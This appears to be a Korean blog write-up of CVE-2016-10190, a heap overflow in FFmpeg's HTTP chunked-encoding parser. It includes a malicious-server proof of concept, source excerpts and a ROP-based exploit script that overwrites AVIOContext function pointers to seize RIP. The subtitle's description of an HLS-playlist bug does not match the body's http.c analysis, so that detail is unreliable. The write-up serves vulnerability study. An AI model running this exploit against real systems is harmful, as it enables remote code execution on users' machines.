블로그로 돌아가기
Research

CVE-2016-10190: FFmpeg 힙 기반 버퍼 오버플로우

FFmpeg libavformat HLS 디먹서의 힙 기반 버퍼 오버플로우 분석 — 조작된 HLS 플레이리스트를 통한 임의 코드 실행

··6분 읽기
CVEFFmpegheapbuffer-overflowmediaexploitation

개요

이번에 분석할 취약점은 CVE-2016-10190이다.

대상은 FFmpeg이다. 사실 이 프로그램이 정확히 무엇인지 "코덱 같은 것" 정도로만 막연하게 알고 있었다. 찾아보니 FFmpeg은 마이클 니더마이어(Michael Niedermayer)의 주도로 개발되고 있는 오픈소스 프로젝트로, LGPL 및 GPL 라이선스를 따르며 모든 동영상, 음악, 사진 포맷의 디코딩과 인코딩을 목표로 만들어진 프로그램이다.

FFmpeg의 기능 중에는 HTTP 스트림의 외부 영상을 로컬에 avi 포맷으로 저장하는 기능이 있다.

./ffmpeg -i http://example.com/video.mp4 output.avi

취약점은 바로 이 기능에서 발생한다.

대상: FFmpeg 3.2.1 (libavformat 57.56.100)
취약 컴포넌트: libavformat/http.c — chunked 전송 인코딩 디코딩
영향: 악의적인 HTTP 스트림 URL 처리 시 원격 임의 코드 실행


크래시 발생시키기

이 취약점은 퍼징을 통해 최초로 발견되었다. 최소한의 크래시 페이로드는 조작된 HTTP 응답이다.

HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
 
-1
abcdef

이 헤더를 서버에서 전송하면 FFmpeg을 크래시시킬 수 있다. 그런데 어떻게 전송하지? 이 부분에서 막혔다. 블로그 글의 도움을 받아 직접 서버를 구성한다는 것을 알게 되었다. 다음은 이 페이로드를 전달하는 Python 서버 코드다.

#!/usr/bin/python
 
from pwn import *
import time
import socket
 
headers = """HTTP/1.1 200 OK
Server: HTTP/v1.0
Content-Type: text/html
Transfer-Encoding: chunked
 
"""
 
def main():
    p = listen(12345)
    p.wait_for_connection()
    log.success("Connect")
 
    p.send(headers)
 
    p.sendline("-1")
    log.info("Bug triggered. Please wait for five seconds...")
    time.sleep(5)
 
    payload  = "A" * 0x8000
    payload += "B" * 0x80
 
    log.info("Payload Send")
    p.send(payload)
    p.close()
 
if __name__ == '__main__':
    main()

로컬 서버에 대해 FFmpeg을 실행하면:

./ffmpeg -i http://127.0.0.1:12345 ./test.avi
[1]    13782 segmentation fault (core dumped)  ./ffmpeg -i http://127.0.0.1:12345 ./test.avi

취약점이 발생하는 것을 확인했다. 이제 분석할 차례다.


근본 원인 분석

호출 흐름

FFmpeg이 HTTP 스트림을 처리할 때의 읽기 경로는 다음과 같다.

ffurl_read
  → retry_transfer_wrapper
    → http_read (libavformat/http.c:1384)
      → http_read_stream (libavformat/http.c:1273)
        → http_buf_read (libavformat/http.c:1182)
          → ffurl_read (내부, TCP용)
            → retry_transfer_wrapper
              → tcp_read (libavformat/tcp.c:221)

GDB 백트레이스(크래시 시점):

#0  tcp_read        (h=0x245a7c0, buf=0x245ab80, size=0xffffffff)
#1  retry_transfer_wrapper (size=0xffffffff, size_min=0x1)
#2  ffurl_read      (size=0xffffffff)
#3  http_buf_read   (size=0xffffffff)
#4  http_read_stream (size=0xffffffff)
#5  http_read       (size=0x8000)
...
#11 av_probe_input_buffer2

청크 크기 파싱

http_read_stream에서 Transfer-Encoding: chunked가 감지되면, 서버가 제공한 청크 크기를 strtoll로 파싱한다.

static int http_read_stream(URLContext *h, uint8_t *buf, int size)
{
    ...
    if (s->chunksize >= 0) {
        if (!s->chunksize) {
            char line[32];
            do {
                if ((err = http_get_line(s, line, sizeof(line))) < 0)
                    return err;
            } while (!*line);
 
            s->chunksize = strtoll(line, NULL, 16);   // "-1"을 0xFFFFFFFFFFFFFFFF로 파싱
 
            if (!s->chunksize)
                return 0;
        }
        size = FFMIN(size, s->chunksize);   // FFMIN(0x8000, 0xFFFFFFFFFFFFFFFF) = 0x8000... 단 s->chunksize는 부호 있는 타입
    }
    ...
    read_ret = http_buf_read(h, buf, size);
    ...
}

청크 크기 "-1"strtoll을 통해 16진수로 파싱되면 부호 있는 해석에서 -1이 된다(부호 없는 해석에서는 0xFFFFFFFFFFFFFFFF). FFMIN 매크로는 int size (0x8000)를 int64_t s->chunksize (-1)와 비교한다. 부호 있는 비교에서 -1은 0x8000보다 작으므로, size-1 (int로 표현하면 0xFFFFFFFF)로 설정된다.

http_buf_read에서의 오버플로우

static int http_buf_read(URLContext *h, uint8_t *buf, int size)
{
    HTTPContext *s = h->priv_data;
    int len;
 
    len = s->buf_end - s->buf_ptr;    // 내부 버퍼 잔여 바이트
    if (len > 0) {
        if (len > size)
            len = size;
        memcpy(buf, s->buf_ptr, len);
        s->buf_ptr += len;
    } else {
        ...
        len = ffurl_read(s->hd, buf, size);   // size = 0xFFFFFFFF → tcp_read로 전달
        ...
    }
    ...
    return len;
}

내부 HTTP 읽기 버퍼가 비어있을 때(len == 0), 함수는 else 분기로 진입하여 size = 0xFFFFFFFFffurl_read(s->hd, buf, size)를 호출한다.

만약 if (len > 0) 조건을 벗어나 else 문으로 갈 수 있다면 ffurl_read 함수를 통해 힙 오버플로우가 가능한 흐름으로 이어진다. FFmpeg의 HTTP 읽기 버퍼 크기가 0x8000이라는 것을 알았고, 그만큼을 소비시키면 len이 0이 된다는 것이 핵심이다.

tcp_readrecv()에 초과 크기 전달

static int tcp_read(URLContext *h, uint8_t *buf, int size)
{
    TCPContext *s = h->priv_data;
    int ret;
 
    if (!(h->flags & AVIO_FLAG_NONBLOCK)) {
        ret = ff_network_wait_fd_timeout(...);
        if (ret)
            return ret;
    }
    ret = recv(s->fd, buf, size, 0);   // recv(fd, heap_buf, 0xFFFFFFFF, 0)
    return ret < 0 ? ff_neterrno() : ret;
}

recv()size = 0xFFFFFFFF로 호출된다. 목적지 버퍼 buf (0x245ab80)는 av_probe_input_buffer2가 사용하는 0x8000 바이트 크기의 힙 할당 영역이다. 0x8000 바이트를 초과해서 수신하면 이 힙 청크에 오버플로우가 발생한다.


익스플로잇

힙 버퍼 끝 너머로 쓰이는 데이터를 제어할 수 있으면, 공격자는 인접한 힙 메타데이터와 AVIOContext 필드를 손상시킬 수 있다. 익스플로잇은 힙에서 인접한 AVIOContext 구조체를 제어된 값으로 덮어써 명령 포인터를 하이재킹한다.

익스플로잇 스크립트 (RIP 제어)

from pwn import *
import time
import socket
 
headers = '''HTTP/1.1 200 OK
Server: HTTP/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
 
'''
 
def main():
    p = listen(12345)
    p.wait_for_connection()
    log.success('Connection Success')
 
    stack_pivot      = 0x000000000049f619
    push_rbx_jmp_rdi = 0x00000000011962b5
    pop_rsp          = 0x00000000004078a9
 
    log.info('stack_pivot      : ' + hex(stack_pivot))
    log.info('push_rbx_jmp_rdi : ' + hex(push_rbx_jmp_rdi))
    log.info('pop_rsp          : ' + hex(pop_rsp))
 
    p.send(headers)
    p.sendline('-1')
    log.info("Triggered.")
    time.sleep(5)
 
    payload = ''
    payload += "A" * 0x8060          # 힙의 AVIOContext에 도달
    payload += p64(stack_pivot)       # av_class → 첫 번째 qword → 간접 호출로 RIP 제어
    payload += ('B' * 8) * 4         # buffer, buffer_size, buf_ptr, buf_end
    payload += p64(pop_rsp)           # opaque
    payload += p64(push_rbx_jmp_rdi) # read_packet 함수 포인터
    payload += ('C' * 8) * 3         # write_packet, seek, pos
    payload += 'D' * 4               # must_flush
    payload += p32(0)                 # eof_reached
    payload += 'E' * 8               # write_flag, max_packet_size
    payload += p64(stack_pivot)       # checksum
    payload += ('F' * 8) * 11        # checksum_ptr … short_seek_threshold
 
    # ROP 체인
    payload += p64(0x414141414141)
    payload += p64(0x424242424242)
    payload += p64(0x434343434343)
 
    log.info('Payload Send.')
    p.send(payload)
    p.close()
 
if __name__ == '__main__':
    main()

RIP를 제어하는 코드다. 이 코드에서 몇 가지 가젯이 사용되며, 그 중 stack pivot이 핵심이다.

익스플로잇 기법

  1. 힙 스프레이 — 0x8060 바이트의 A를 채워 프로브 버퍼 바로 뒤에 있는 AVIOContext에 도달한다.
  2. AVIOContext 손상av_classread_packet 함수 포인터를 ROP 가젯으로 덮어쓴다.
  3. 스택 피벗stack_pivot 가젯(pop rsp)이 스택 포인터를 공격자가 제어하는 버퍼로 리다이렉션한다.
  4. ROP 체인 — 스택이 피벗되면 임의의 가젯이 실행된다. 완전한 체인은 execve("/bin/sh", ...)를 호출한다.

사용된 가젯(stack_pivot, push_rbx_jmp_rdi, pop_rsp)은 모두 FFmpeg 바이너리 내부에서 찾을 수 있으며, ASLR이 남아있는 주요 완화 수단이 된다.


요약

항목내용
CVECVE-2016-10190
영향받는 소프트웨어FFmpeg ≤ 3.2.1 (libavformat)
취약점 유형힙 기반 버퍼 오버플로우
근본 원인chunked size에서의 부호 있는/없는 타입 불일치 → recv()size=0xFFFFFFFF 전달
트리거청크 크기 -1Transfer-Encoding: chunked를 반환하는 악의적인 HTTP 서버
영향AVIOContext 함수 포인터 덮어쓰기 + 스택 피벗을 통한 원격 코드 실행
수정 방법사용 전 청크 크기 ≥ 0 검증; 음수 값 거부

참조